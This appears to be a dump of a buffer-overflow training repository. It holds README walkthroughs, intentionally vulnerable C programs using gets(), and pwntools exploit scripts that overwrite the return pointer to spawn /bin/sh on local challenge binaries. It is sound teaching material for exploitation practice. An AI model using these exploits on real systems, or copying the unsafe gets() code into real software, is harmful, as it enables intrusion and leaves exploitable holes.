gets() 17 | ... 18 | 0x1c8 end of overflowme 19 | . 20 | . 21 | . 22 | . 23 | 0x??? Return Pointer <---- Return pointer back to main. 24 | ------------------------- 25 | Higher Stack Addresses 26 | ------------------------- 27 | ``` 28 | 29 | Steps to solve: 30 | 1) Overflow the buffer with easily identifiable input 31 | 2) Locate the offset of the return pointer 32 | 3) Find _where_ to redirect code execution 33 | 4) Construct and send our input with the return pointer overwritten to the value found in #3 34 | 5) Profit 35 | 36 | Time to look at an example. 37 | 38 | ## 1) Overflow the buffer with easily identifiable input 39 | We will do this the same way as the previous challenge. The [step1.py](./step1.py) script is set up to execute and attach a debugger. 40 | 41 | Relevant code in the script: 42 | ```python 43 | payload = cyclic(100) 44 | r.sendline(payload) 45 | ``` 46 | 47 | ## 2) Locate the offset of the return pointer 48 | Execute [step1.py -d](./step1.py) to start the script with the debugger attached. 49 | 50 | The debugger will start and automatically break upon entering into the `func()` function. Next type `continue` or `c` for short and press enter. 51 | 52 | Continue pressing enter until you get to the following instruction, try to follow along what is actually happening along the way: 53 | ```asm 54 | => 0x8048570 : ret 55 | ``` 56 | 57 | It should look like this: 58 | ```asm 59 | [----------------------------------registers-----------------------------------] 60 | EAX: 0x6 61 | EBX: 0x0 62 | ECX: 0xffffffff 63 | EDX: 0xf775b870 --> 0x0 64 | ESI: 0xf775a000 --> 0x1b1db0 65 | EDI: 0xf775a000 --> 0x1b1db0 66 | EBP: 0x6161616b ('kaaa') 67 | ESP: 0xffe2f12c ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 68 | EIP: 0x8048570 (: ret) 69 | EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) 70 | [-------------------------------------code-------------------------------------] 71 | 0x804856b : add esp,0x10 72 | 0x804856e : nop 73 | 0x804856f : leave 74 | => 0x8048570 : ret 75 | 0x8048571
: lea ecx,[esp+0x4] 76 | 0x8048575 : and esp,0xfffffff0 77 | 0x8048578 : push DWORD PTR [ecx-0x4] 78 | 0x804857b : push ebp 79 | [------------------------------------stack-------------------------------------] 80 | 0000| 0xffe2f12c ("laaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 81 | 0004| 0xffe2f130 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 82 | 0008| 0xffe2f134 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 83 | 0012| 0xffe2f138 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 84 | 0016| 0xffe2f13c ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 85 | 0020| 0xffe2f140 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaa") 86 | 0024| 0xffe2f144 ("raaasaaataaauaaavaaawaaaxaaayaaa") 87 | 0028| 0xffe2f148 ("saaataaauaaavaaawaaaxaaayaaa") 88 | [------------------------------------------------------------------------------] 89 | Legend: code, data, rodata, value 90 | gdb-peda$ 91 | ``` 92 | The [`ret`](http://c9x.me/x86/html/file_module_x86_id_280.html) instruction will take the next value off the stack and load that into the EIP register (Instruction pointer) and then code execution will continue from there. In the case above, the program will try to execute code at 0x6161616c (this is the hex representation of 'laaa'). 93 | If you type `next` and enter, you should see this: 94 | ```asm 95 | [----------------------------------registers-----------------------------------] 96 | EAX: 0x6 97 | EBX: 0x0 98 | ECX: 0xffffffff 99 | EDX: 0xf775b870 --> 0x0 100 | ESI: 0xf775a000 --> 0x1b1db0 101 | EDI: 0xf775a000 --> 0x1b1db0 102 | EBP: 0x6161616b ('kaaa') 103 | ESP: 0xffe2f130 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 104 | EIP: 0x6161616c ('laaa') 105 | EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) 106 | [-------------------------------------code-------------------------------------] 107 | Invalid $PC address: 0x6161616c 108 | [------------------------------------stack-------------------------------------] 109 | 0000| 0xffe2f130 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 110 | 0004| 0xffe2f134 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 111 | 0008| 0xffe2f138 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 112 | 0012| 0xffe2f13c ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa") 113 | 0016| 0xffe2f140 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaa") 114 | 0020| 0xffe2f144 ("raaasaaataaauaaavaaawaaaxaaayaaa") 115 | 0024| 0xffe2f148 ("saaataaauaaavaaawaaaxaaayaaa") 116 | 0028| 0xffe2f14c ("taaauaaavaaawaaaxaaayaaa") 117 | [------------------------------------------------------------------------------] 118 | Legend: code, data, rodata, value 119 | gdb-peda$ 120 | ``` 121 | Specifically we are interested in `EIP: 0x6161616c ('laaa')`. This means that we know exactly what offset into our buffer we need to change. We can manually count exactly how many characters were before the `laaa`, but who has time for that? Pwntools to the rescue, we can use the commandline functionality to do the search: 122 | ```bash 123 | $ pwn cyclic -l 'laaa' 124 | 44 125 | ``` 126 | 127 | So we need to provide 44 characters (they will get ignored) and then have to give the address of code we want to execute. For now, lets make sure we have this part correct and send something easily identifiable. I like using `AAAA` because it's `0x41414141`. 128 | 129 | Change the lines in the script to: 130 | ```python 131 | wait_for_prompt(r) 132 | payload = 'a'*44 133 | payload += 'AAAA' 134 | r.sendline(payload) 135 | ``` 136 | The change has been made in [step2.py](./step2.py). Now execute it with [step2.py -d](./step2.py) and the debugger should break right before the `ret` instruction. If you type `next` and then enter, you should see: 137 | ```asm 138 | [----------------------------------registers-----------------------------------] 139 | EAX: 0x6 140 | EBX: 0x0 141 | ECX: 0xffffffff 142 | EDX: 0xf7740870 --> 0x0 143 | ESI: 0xf773f000 --> 0x1b1db0 144 | EDI: 0xf773f000 --> 0x1b1db0 145 | EBP: 0x61616161 ('aaaa') 146 | ESP: 0xffe9dc10 --> 0xf773f300 --> 0xf76e8267 (dec ecx) 147 | EIP: 0x41414141 ('AAAA') 148 | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 149 | [-------------------------------------code-------------------------------------] 150 | Invalid $PC address: 0x41414141 151 | ``` 152 | Yay, congratulations. You have EIP control. But what do you do with it? 153 | 154 | ## 3) Find _where_ to redirect code execution 155 | So now how do you know where to direct code execution to? This is where you'll need to get better at reading assembly and understanding what is happening. For this challenge I'll highlight where to jump to and why. From the [source code](./bof2.c) we know there is a call to `system("/bin/sh");`. This is what we want to execute. We know it's in the `func()` function. So lets disassemble that function in gdb: 156 | ```asm 157 | gdb-peda$ disassemble func 158 | Dump of assembler code for function func: 159 | 0x0804851b <+0>: push ebp 160 | 0x0804851c <+1>: mov ebp,esp 161 | 0x0804851e <+3>: sub esp,0x28 162 | 0x08048521 <+6>: sub esp,0xc 163 | 0x08048524 <+9>: push 0x8048640 164 | 0x08048529 <+14>: call 0x80483b0 165 | 0x0804852e <+19>: add esp,0x10 166 | 0x08048531 <+22>: sub esp,0xc 167 | 0x08048534 <+25>: lea eax,[ebp-0x28] 168 | 0x08048537 <+28>: push eax 169 | 0x08048538 <+29>: call 0x80483c0 170 | 0x0804853d <+34>: add esp,0x10 171 | 0x08048540 <+37>: mov eax,ds:0x804a02c 172 | 0x08048545 <+42>: cmp eax,0xcafebabe 173 | 0x0804854a <+47>: jne 0x804855e 174 | 0x0804854c <+49>: sub esp,0xc 175 | 0x0804854f <+52>: push 0x804864f 176 | 0x08048554 <+57>: call 0x80483e0 177 | 0x08048559 <+62>: add esp,0x10 178 | 0x0804855c <+65>: jmp 0x804856e 179 | 0x0804855e <+67>: sub esp,0xc 180 | 0x08048561 <+70>: push 0x8048657 181 | 0x08048566 <+75>: call 0x80483d0 182 | 0x0804856b <+80>: add esp,0x10 183 | 0x0804856e <+83>: nop 184 | 0x0804856f <+84>: leave 185 | 0x08048570 <+85>: ret 186 | End of assembler dump. 187 | ``` 188 | See the line `0x08048554 <+57>: call 0x80483e0 `? That's the `system()` call. But just jumping to this location won't solve the challenge. Feel free to experiment with this if you wish. 189 | 190 | The problem is that `system()` has to be passed an argument. In our case we want to pass it `"/bin/sh"`. Arguments are passed to functions by pushing the parameter to the stack prior to the call. So lets look at the line above the call to `system` 191 | ```asm 192 | 0x0804854f <+52>: push 0x804864f 193 | 0x08048554 <+57>: call 0x80483e0 194 | ``` 195 | This pushes a value to the stack right before the call is made to `system`. We can inspect the memory at that location: 196 | ```asm 197 | gdb-peda$ telescope 0x804864f 198 | 0000| 0x804864f ("/bin/sh") 199 | 0004| 0x8048653 --> 0x68732f ('/sh') 200 | 0008| 0x8048657 ("Nah..") 201 | 0012| 0x804865b --> 0x2e ('.') 202 | 0016| 0x804865f --> 0x31b0100 203 | 0020| 0x8048663 --> 0x303b (';0') 204 | 0024| 0x8048667 --> 0x500 205 | 0028| 0x804866b --> 0xfffd4000 206 | ``` 207 | We can see that the address `0x804864f` holds the string `"/bin/sh"`. So we want to jump to `0x0804854f` since it will set up the stack exactly how we need it (pushing the pointer to the string, and then calling system). 208 | 209 | ## 4) Construct and send our input 210 | Change the lines in the script to: 211 | ```python 212 | wait_for_prompt(r) 213 | payload = 'a'*44 214 | payload += p32(0x0804854f) # pwntools provides an easy p32() function to not have to worry about endianess 215 | r.sendline(payload) 216 | ``` 217 | The change has been made in [step3.py](./step3.py). Now execute it with [step3.py -d](./step3.py) and the debugger should break right before the `ret` instruction. If you type `next` and then enter, you should see: 218 | ```asm 219 | [----------------------------------registers-----------------------------------] 220 | EAX: 0x6 221 | EBX: 0x0 222 | ECX: 0xffffffff 223 | EDX: 0xf7739870 --> 0x0 224 | ESI: 0xf7738000 --> 0x1b1db0 225 | EDI: 0xf7738000 --> 0x1b1db0 226 | EBP: 0x61616161 ('aaaa') 227 | ESP: 0xffb43a50 --> 0xf7738300 --> 0xf76e1267 (dec ecx) 228 | EIP: 0x804854f (: push 0x804864f) 229 | EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 230 | [-------------------------------------code-------------------------------------] 231 | 0x8048545 : cmp eax,0xcafebabe 232 | 0x804854a : jne 0x804855e 233 | 0x804854c : sub esp,0xc 234 | => 0x804854f : push 0x804864f 235 | 0x8048554 : call 0x80483e0 236 | 0x8048559 : add esp,0x10 237 | 0x804855c : jmp 0x804856e 238 | 0x804855e : sub esp,0xc 239 | [------------------------------------stack-------------------------------------] 240 | 0000| 0xffb43a50 --> 0xf7738300 --> 0xf76e1267 (dec ecx) 241 | 0004| 0xffb43a54 --> 0xffb43a70 --> 0x1 242 | 0008| 0xffb43a58 --> 0x0 243 | 0012| 0xffb43a5c --> 0xf759e637 (<__libc_start_main+247>: add esp,0x10) 244 | 0016| 0xffb43a60 --> 0xf7738000 --> 0x1b1db0 245 | 0020| 0xffb43a64 --> 0xf7738000 --> 0x1b1db0 246 | 0024| 0xffb43a68 --> 0x0 247 | 0028| 0xffb43a6c --> 0xf759e637 (<__libc_start_main+247>: add esp,0x10) 248 | [------------------------------------------------------------------------------] 249 | Legend: code, data, rodata, value 250 | gdb-peda$ 251 | ``` 252 | Yay, it's executing exactly what we want it to. Do you feel the power? 253 | 254 | ## 5) Profit 255 | Now exit the debugger and run the script without the debugger attached: 256 | 257 | $ [step3.py](./step3.py) 258 | You should get an interactive shell. EG: 259 | ``` 260 | $ ./step3.py 261 | [+] Starting local process './bof2': pid 27114 262 | overflow me : 263 | [*] Switching to interactive mode 264 | Nah.. 265 | $ ls 266 | bof2 bof2.c flag README.md runit.sh step1.py step2.py step3.py 267 | $ cat flag 268 | flag{test_flag_for_chall} 269 | $ 270 | ``` 271 | 272 | Hopefully that made sense, and you feel more comfortable with buffer overflows now. 273 | -------------------------------------------------------------------------------- /bof2/bof2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof2/bof2 -------------------------------------------------------------------------------- /bof2/bof2.c: -------------------------------------------------------------------------------- 1 | // $ gcc -m32 -fno-stack-protector bof2.c -o bof2 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | int key = 0xdeadbeef; 8 | 9 | void func(void) 10 | { 11 | char overflowme[32]; 12 | 13 | printf("overflow me : "); 14 | gets(overflowme); // smash me! 15 | 16 | if(key == 0xcafebabe){ 17 | system("/bin/sh"); 18 | } 19 | else{ 20 | printf("Nah..\n"); 21 | } 22 | } 23 | 24 | void main(int argc, char* argv[]) 25 | { 26 | setvbuf(stdin, 0, 2, 0); 27 | setvbuf(stdout, 0, 2, 0); 28 | 29 | func(); 30 | 31 | return; 32 | } 33 | 34 | -------------------------------------------------------------------------------- /bof2/flag: -------------------------------------------------------------------------------- 1 | flag{test_flag_for_chall} 2 | -------------------------------------------------------------------------------- /bof2/runit.sh: -------------------------------------------------------------------------------- 1 | socat tcp-listen:4002,fork,tcpwrap=script exec:"./bof2" 2 | -------------------------------------------------------------------------------- /bof2/step1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | r.recvuntil(b"overflow me :") 10 | 11 | #-------------------------------------------------------------------------- 12 | if __name__ == "__main__": 13 | 14 | parser = argparse.ArgumentParser(description='Exploit the bins.') 15 | parser.add_argument('--dbg' , '-d', action="store_true") 16 | args = parser.parse_args() 17 | exe = './bof2' 18 | 19 | if args.dbg: 20 | r = gdb.debug([exe], gdbscript=""" 21 | b *func 22 | continue 23 | """) 24 | else: 25 | r = process(exe) 26 | 27 | wait_for_prompt(r) 28 | payload = cyclic(100) 29 | r.sendline(payload) 30 | 31 | # Drop to interactive console 32 | r.interactive() 33 | 34 | -------------------------------------------------------------------------------- /bof2/step2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"overflow me :")) 10 | 11 | def wait_newline_and_dump(r): 12 | data = r.recvuntil('\n') 13 | if data: 14 | print(data.encode('hex')) 15 | print(data) 16 | return data 17 | 18 | #-------------------------------------------------------------------------- 19 | if __name__ == "__main__": 20 | 21 | parser = argparse.ArgumentParser(description='Exploit the bins.') 22 | parser.add_argument('--dbg' , '-d', action="store_true") 23 | args = parser.parse_args() 24 | exe = './bof2' 25 | 26 | if args.dbg: 27 | r = gdb.debug([exe], gdbscript=""" 28 | b *func+85 29 | continue 30 | """) 31 | else: 32 | r = process(exe) 33 | 34 | wait_for_prompt(r) 35 | payload = b'a'*44 36 | payload += b'AAAA' 37 | r.sendline(payload) 38 | 39 | # Drop to interactive console 40 | r.interactive() 41 | 42 | -------------------------------------------------------------------------------- /bof2/step3.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"overflow me :")) 10 | 11 | 12 | #-------------------------------------------------------------------------- 13 | if __name__ == "__main__": 14 | 15 | parser = argparse.ArgumentParser(description='Exploit the bins.') 16 | parser.add_argument('--dbg' , '-d', action="store_true") 17 | args = parser.parse_args() 18 | exe = './bof2' 19 | 20 | if args.dbg: 21 | r = gdb.debug([exe], gdbscript=""" 22 | b *func+85 23 | continue 24 | """) 25 | else: 26 | r = process(exe) 27 | 28 | wait_for_prompt(r) 29 | payload = b'a'*44 30 | payload += p32(0x0804854f) 31 | r.sendline(payload) 32 | 33 | # Drop to interactive console 34 | r.interactive() 35 | 36 | -------------------------------------------------------------------------------- /bof3/README.md: -------------------------------------------------------------------------------- 1 | # bof3 2 | 3 | This challenge is similar to bof2, but there are some minor changes: 4 | ```C 5 | void func(void) 6 | { 7 | char overflowme[1024]; 8 | 9 | printf("\noverflow me to get /bin/sh"); 10 | printf("\nIF YOU CAN... MUHAHAHAH: "); 11 | 12 | gets(overflowme); // smash me! 13 | 14 | if(key == 0xcafebabe){ 15 | system("/bin/echo LOL Nice Try!!!"); 16 | } 17 | else{ 18 | printf("Nah..\n"); 19 | } 20 | } 21 | ``` 22 | 23 | 1. The size of the buffer has gotten bigger (1024 bytes instead of 32) 24 | 2. There is no direct `system("/bin/sh");` call in the code. 25 | 26 | The previous challenge showed how parameters are passed to a function, so the steps necessary to solve this are: 27 | 1) Locate the offset of the return pointer 28 | 2) Find _where_ to redirect code execution 29 | 3) Find a usable pointer to the string `"/bin/sh"` 30 | 4) Ensure the stack is set up correctly to pass the pointer to `"/bin/sh"` to `system()` 31 | 32 | ## 1) Locate the offset of the return pointer 33 | This part has been covered in the previous two challenges, so this will be an abbreviated version. 34 | * [step1.py -d](./step1.py) Crash: 35 | ```asm 36 | [----------------------------------registers-----------------------------------] 37 | EAX: 0x6 38 | EBX: 0x0 39 | ECX: 0xffffffff 40 | EDX: 0xf7745870 --> 0x0 41 | ESI: 0xf7744000 --> 0x1b1db0 42 | EDI: 0xf7744000 --> 0x1b1db0 43 | EBP: 0x6b616169 ('iaak') 44 | ESP: 0xffc7cee0 ("kaaklaakma") 45 | EIP: 0x6b61616a ('jaak') 46 | EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow) 47 | [-------------------------------------code-------------------------------------] 48 | Invalid $PC address: 0x6b61616a 49 | [------------------------------------stack-------------------------------------] 50 | 0000| 0xffc7cee0 ("kaaklaakma") 51 | 0004| 0xffc7cee4 ("laakma") 52 | 0008| 0xffc7cee8 --> 0x616d ('ma') 53 | 0012| 0xffc7ceec --> 0xf75aa637 (<__libc_start_main+247>: add esp,0x10) 54 | 0016| 0xffc7cef0 --> 0xf7744000 --> 0x1b1db0 55 | 0020| 0xffc7cef4 --> 0xf7744000 --> 0x1b1db0 56 | 0024| 0xffc7cef8 --> 0x0 57 | 0028| 0xffc7cefc --> 0xf75aa637 (<__libc_start_main+247>: add esp,0x10) 58 | [------------------------------------------------------------------------------] 59 | Legend: code, data, rodata, value 60 | Stopped reason: SIGSEGV 61 | gdb-peda$ 62 | ``` 63 | Then find offset: 64 | ```bash 65 | code@hackbox2:~/code/how2bof/bof3$ pwn cyclic -l 'jaak' 66 | 1036 67 | ``` 68 | ## 2) Find _where_ to redirect code execution 69 | We have covered this in bof2, so another abbreviated version: 70 | ```asm 71 | gdb-peda$ disassemble func 72 | Dump of assembler code for function func: 73 | => 0x0804851b <+0>: push ebp 74 | 0x0804851c <+1>: mov ebp,esp 75 | 0x0804851e <+3>: sub esp,0x408 76 | 0x08048524 <+9>: sub esp,0xc 77 | 0x08048527 <+12>: push 0x8048650 78 | 0x0804852c <+17>: call 0x80483b0 79 | 0x08048531 <+22>: add esp,0x10 80 | 0x08048534 <+25>: sub esp,0xc 81 | 0x08048537 <+28>: push 0x804866c 82 | 0x0804853c <+33>: call 0x80483b0 83 | 0x08048541 <+38>: add esp,0x10 84 | 0x08048544 <+41>: sub esp,0xc 85 | 0x08048547 <+44>: lea eax,[ebp-0x408] 86 | 0x0804854d <+50>: push eax 87 | 0x0804854e <+51>: call 0x80483c0 88 | 0x08048553 <+56>: add esp,0x10 89 | 0x08048556 <+59>: mov eax,ds:0x804a02c 90 | 0x0804855b <+64>: cmp eax,0xcafebabe 91 | 0x08048560 <+69>: jne 0x8048574 92 | 0x08048562 <+71>: sub esp,0xc 93 | 0x08048565 <+74>: push 0x8048687 94 | 0x0804856a <+79>: call 0x80483e0 95 | 0x0804856f <+84>: add esp,0x10 96 | 0x08048572 <+87>: jmp 0x8048584 97 | 0x08048574 <+89>: sub esp,0xc 98 | 0x08048577 <+92>: push 0x80486a1 99 | 0x0804857c <+97>: call 0x80483d0 100 | 0x08048581 <+102>: add esp,0x10 101 | 0x08048584 <+105>: nop 102 | 0x08048585 <+106>: leave 103 | 0x08048586 <+107>: ret 104 | End of assembler dump. 105 | gdb-peda$ 106 | ``` 107 | Great, we have the instructions: 108 | ```asm 109 | 0x08048565 <+74>: push 0x8048687 110 | 0x0804856a <+79>: call 0x80483e0 111 | ``` 112 | However, if we look at what is being pushed to the stack to be passed to `system` we see it's not what we want: 113 | ```asm 114 | gdb-peda$ telescope 0x8048687 115 | 0000| 0x8048687 ("/bin/echo LOL Nice Try!!!") 116 | ``` 117 | Well that won't do! But we have control over the stack, and we know we'd rather pass '/bin/sh'. But how do we find a pointer to that string? 118 | 119 | ## 3) Find a usable pointer to the string `"/bin/sh"` 120 | We can use PEDA's `find` command to easily find a string (if there is one) 121 | ```asm 122 | gdb-peda$ find /bin/sh 123 | Searching for '/bin/sh' in: None ranges 124 | Found 3 results, display max 3 items: 125 | bof3 : 0x8048664 ("/bin/sh") 126 | bof3 : 0x8049664 ("/bin/sh") 127 | libc : 0xf772982b (das) 128 | ``` 129 | There we go. `0x8048664` or `0x8049664` should work. 130 | 131 | ## 4) Ensure the stack is set up correctly to pass the pointer to `"/bin/sh"` to `system()` 132 | Make changes to script: 133 | ```python 134 | wait_for_prompt(r) 135 | payload = 'A'*1036 136 | payload += p32(0x0804856a) #Return pointer. Point this to 0x0804856a <+79>: call 0x80483e0 137 | payload += p32(0x8048664) #This will be the pointer passed to system(), make this a pointer to '/bin/sh' 138 | ``` 139 | $ [step2.py -d](./step2.py) to run it through the debugger and investigate exact behavior. 140 | $ [step2.py](./step2.py) to run and get shell: 141 | ```bash 142 | $ ./step2.py 143 | [+] Starting local process './bof3': pid 27953 144 | 145 | overflow me to get /bin/sh 146 | IF YOU CAN... MUHAHAHAH: 147 | [*] Switching to interactive mode 148 | Nah.. 149 | $ cat flag 150 | flag{test_flag_for_chall} 151 | ``` 152 | -------------------------------------------------------------------------------- /bof3/bof3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof3/bof3 -------------------------------------------------------------------------------- /bof3/bof3.c: -------------------------------------------------------------------------------- 1 | // $ gcc -m32 -fno-stack-protector bof3.c -o bof3 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | int key = 0xdeadbeef; 9 | 10 | void func(void) 11 | { 12 | char overflowme[1024]; 13 | 14 | printf("\noverflow me to get /bin/sh"); 15 | printf("\nIF YOU CAN... MUHAHAHAH: "); 16 | 17 | gets(overflowme); // smash me! 18 | 19 | if(key == 0xcafebabe){ 20 | system("/bin/echo LOL Nice Try!!!"); 21 | } 22 | else{ 23 | printf("Nah..\n"); 24 | } 25 | } 26 | 27 | void main(int argc, char* argv[]) 28 | { 29 | setvbuf(stdin, 0, 2, 0); 30 | setvbuf(stdout, 0, 2, 0); 31 | 32 | func(); 33 | 34 | return; 35 | } 36 | 37 | -------------------------------------------------------------------------------- /bof3/flag: -------------------------------------------------------------------------------- 1 | flag{test_flag_for_chall} 2 | -------------------------------------------------------------------------------- /bof3/runit.sh: -------------------------------------------------------------------------------- 1 | socat tcp-listen:4003,fork,tcpwrap=script exec:"./bof3" 2 | -------------------------------------------------------------------------------- /bof3/step1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"MUHAHAHAH: ")) 10 | 11 | #-------------------------------------------------------------------------- 12 | if __name__ == "__main__": 13 | 14 | parser = argparse.ArgumentParser(description='Exploit the bins.') 15 | parser.add_argument('--dbg' , '-d', action="store_true") 16 | args = parser.parse_args() 17 | exe = './bof3' 18 | 19 | if args.dbg: 20 | r = gdb.debug([exe], gdbscript=""" 21 | b *func 22 | continue 23 | """) 24 | else: 25 | r = process(exe) 26 | 27 | wait_for_prompt(r) 28 | payload = cyclic(1050) 29 | r.sendline(payload) 30 | 31 | # Drop to interactive console 32 | r.interactive() 33 | 34 | -------------------------------------------------------------------------------- /bof3/step2.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import sys 3 | import time 4 | import argparse 5 | from pwn import * 6 | context.update(arch='i386', os='linux') 7 | 8 | def wait_for_prompt(r): 9 | print(r.recvuntil(b"MUHAHAHAH: ")) 10 | 11 | #-------------------------------------------------------------------------- 12 | if __name__ == "__main__": 13 | 14 | parser = argparse.ArgumentParser(description='Exploit the bins.') 15 | parser.add_argument('--dbg' , '-d', action="store_true") 16 | args = parser.parse_args() 17 | exe = './bof3' 18 | 19 | if args.dbg: 20 | r = gdb.debug([exe], gdbscript=""" 21 | b *func+107 22 | continue 23 | """) 24 | else: 25 | r = process(exe) 26 | 27 | wait_for_prompt(r) 28 | payload = b'A'*1036 29 | payload += p32(0x0804856a) #Return pointer. Point this to 0x0804856a <+79>: call 0x80483e0 30 | payload += p32(0x8048664) #This will be the pointer passed to system(), make this a pointer to '/bin/sh' 31 | 32 | r.sendline(payload) 33 | 34 | # Drop to interactive console 35 | r.interactive() 36 | 37 | -------------------------------------------------------------------------------- /bof4/README.md: -------------------------------------------------------------------------------- 1 | # bof4 2 | 3 | This challenge is similar to bof3, but there are some minor changes: 4 | ```C 5 | const char name[10]; 6 | int key = 0xdeadbeef; 7 | 8 | void hidden(void) 9 | { 10 | system("/bin/echo BLAH, can't touch me!"); 11 | } 12 | 13 | void func(void) 14 | { 15 | char overflowme[1024]; 16 | 17 | printf("overflow me:"); 18 | gets(overflowme); // smash me! 19 | 20 | printf("Psych!!! No shell for you"); 21 | } 22 | 23 | void main(int argc, char* argv[]) 24 | { 25 | setvbuf(stdin, 0, 2, 0); 26 | setvbuf(stdout, 0, 2, 0); 27 | 28 | printf("What's you name?: "); 29 | scanf("%10s",name); 30 | 31 | func(); 32 | 33 | return; 34 | } 35 | 36 | ``` 37 | 38 | 1) You get to input your name **Yay**, This is stored in the global scope variable `name[10]`. You can't overflow this. 39 | 2) There is a `hidden()` function that is never called, but that does have a call to `system()` 40 | 41 | Steps to solve this are exactly like bof3: 42 | 1) Locate the offset of the return pointer 43 | 2) Find where to redirect code execution 44 | 3) Find a usable pointer to the string "/bin/sh" 45 | 4) Ensure the stack is set up correctly to pass the pointer to "/bin/sh" to system() 46 | 47 | There is no existing '/bin/sh' string in the application. But you can write to a predictable memory location by setting your name. 48 | Did you know that your name is now: `/bin/sh`? That's a curious name, your momma must have been a linux guru :P 49 | 50 | At this point, you should be able to write an exploit for this one yourself. 51 | -------------------------------------------------------------------------------- /bof4/bof4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof4/bof4 -------------------------------------------------------------------------------- /bof4/bof4.c: -------------------------------------------------------------------------------- 1 | // $ gcc -m32 -fno-stack-protector bof4.c -o bof4 2 | 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | const char name[10]; 9 | int key = 0xdeadbeef; 10 | 11 | void hidden(void) 12 | { 13 | system("/bin/echo BLAH, can't touch me!"); 14 | } 15 | 16 | 17 | void func(void) 18 | { 19 | char overflowme[1024]; 20 | 21 | printf("overflow me:"); 22 | gets(overflowme); // smash me! 23 | 24 | printf("Psych!!! No shell for you"); 25 | } 26 | 27 | void main(int argc, char* argv[]) 28 | { 29 | setvbuf(stdin, 0, 2, 0); 30 | setvbuf(stdout, 0, 2, 0); 31 | 32 | printf("What's you name?: "); 33 | scanf("%10s",name); 34 | 35 | func(); 36 | 37 | return; 38 | } 39 | 40 | -------------------------------------------------------------------------------- /bof4/flag: -------------------------------------------------------------------------------- 1 | flag{test_flag_for_chall} 2 | -------------------------------------------------------------------------------- /bof4/runit.sh: -------------------------------------------------------------------------------- 1 | socat tcp-listen:4004,fork,tcpwrap=script exec:"./bof4" 2 | -------------------------------------------------------------------------------- /bof5/README.md: -------------------------------------------------------------------------------- 1 | # bof5 2 | 3 | This challenge introduces the concept of return to libc (ret2libc), and also requires defeating ASLR. 4 | 5 | Steps to solve: 6 | 1) Use the leaked address to calculate the base address of libc 7 | 2) Find the return pointer offset in the stack 8 | 3) Find a usable pointer to the string "/bin/sh" (in libc) 9 | 4) Ensure the stack is set up correctly to pass the pointer to `"/bin/sh"` to `system()` 10 | 11 | Some gotcha's here are: 12 | * How to calculate the base address 13 | * How to figure out the offset of system in libc 14 | * How set up the stack correctly to pass an argument via a return instruction instead of a call instruction 15 | 16 | Write-up will come later 17 | -------------------------------------------------------------------------------- /bof5/bof5: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Caesurus/how2bof/a865d6f05a74d5a9463e4726bea54151c79ab338/bof5/bof5 -------------------------------------------------------------------------------- /bof5/bof5.c: -------------------------------------------------------------------------------- 1 | // $ gcc -m32 -fno-stack-protector bof5.c -o bof5 2 | // Relevant paper: https://www.exploit-db.com/docs/28553.pdf 3 | 4 | #include 5 | #include 6 | #include 7 | 8 | void func(void) 9 | { 10 | char overflowme[64]; 11 | 12 | printf("overflow me:"); 13 | gets(overflowme); // smash me! 14 | 15 | printf("Psych!!! No shell for you"); 16 | } 17 | 18 | void main(int argc, char* argv[]) 19 | { 20 | setvbuf(stdin, 0, 2, 0); 21 | setvbuf(stdout, 0, 2, 0); 22 | 23 | printf("Here is your leaked LIBC address\n"); 24 | printf("stdin: %p\n", stdin); 25 | func(); 26 | 27 | return; 28 | } 29 | 30 | -------------------------------------------------------------------------------- /bof5/flag: -------------------------------------------------------------------------------- 1 | flag{test_flag_for_chall} 2 | -------------------------------------------------------------------------------- /bof5/libc.so.6: -------------------------------------------------------------------------------- 